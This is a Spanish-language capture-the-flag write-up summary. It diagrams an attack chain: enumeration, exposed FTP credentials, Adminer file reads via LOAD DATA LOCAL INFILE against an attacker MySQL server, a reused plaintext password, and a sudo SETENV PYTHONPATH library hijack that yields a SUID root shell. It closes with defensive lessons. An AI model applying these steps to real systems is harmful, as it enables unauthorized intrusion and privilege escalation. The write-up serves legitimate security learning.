nmap -sC → http-robots.txt → /admin-dir  (403, pero enumerable)
   │  dirsearch → /admin-dir/credentials.txt → cuenta FTP (ftpuser)
   ▼
FTP → html.tar.gz (copia de 2019 del sitio) → utility-scripts/ (403 en la web actual)
   │  dirsearch dirigido → utility-scripts/adminer.php  (Adminer 4.6.2)
   ▼
MySQL propio (bind-address 0.0.0.0) + LOAD DATA LOCAL INFILE
   ├─ /etc/passwd → open_basedir restriction  (descartado, y pista de dónde sí mirar)
   ▼
/var/www/html/index.php  →  waldo:&<h5b~yK3F#{PaPB6dA}{H>
   │  reutilización de credencial
   ▼
ssh waldo  →  user.txt
   │  sudo -l → (ALL) SETENV: /opt/scripts/admin_tasks.sh → opción 6 → backup.py
   ▼
PYTHONPATH=/tmp + shutil.py malicioso (library hijack)  →  /bin/bash SUID  →  root.txt

Lecciones aprendidas

  • El robots.txt no es un control de acceso. Listar ahí /admin-dir con "credenciales" es señalar la puerta y dejarla cerrada con un cartel. Encima, el propio comentario firmaba con el nombre de usuario que acabaría dando la shell.
  • Un 403 dice que el directorio existe. Tanto /admin-dir como /utility-scripts devolvían Forbidden, y ambos escondían ficheros accesibles por nombre. Apuntar el fuzzer a la ruta concreta, no solo a la raíz.
  • Las copias antiguas son un mapa de la actual. El html.tar.gz no contenía la contraseña buena, pero sí los nombres (utility-scripts, index.php) que dijeron dónde mirar. No dejar respaldos del sitio en servicios accesibles.
  • disabled en el HTML no es un control. Las opciones grises del panel se activan desde el inspector; la única protección real era la comprobación de $EUID del lado del servidor.
  • Leer el mensaje de error exacto ahorra horas. open_basedir restriction in effect no significa "el fichero no es legible": significa que PHP está confinado a un directorio, y eso indica precisamente dónde sí se puede leer.
  • Adminer puede leer ficheros del servidor que lo aloja. El LOAD DATA LOCAL contra un MySQL atacante convierte un gestor de BBDD en una lectura arbitraria de archivos. Mantener Adminer actualizado y nunca exponerlo sin autenticación.
  • SETENV en sudoers anula buena parte de env_reset. Permitir variables de entorno controladas por el usuario en un sudo privilegiado abre secuestros de librería como el de shutil. Evitar SETENV salvo necesidad real y usar rutas absolutas e imports defensivos en los scripts privilegiados.
Cheatsheet de comandos 14 comandos

Repaso rápido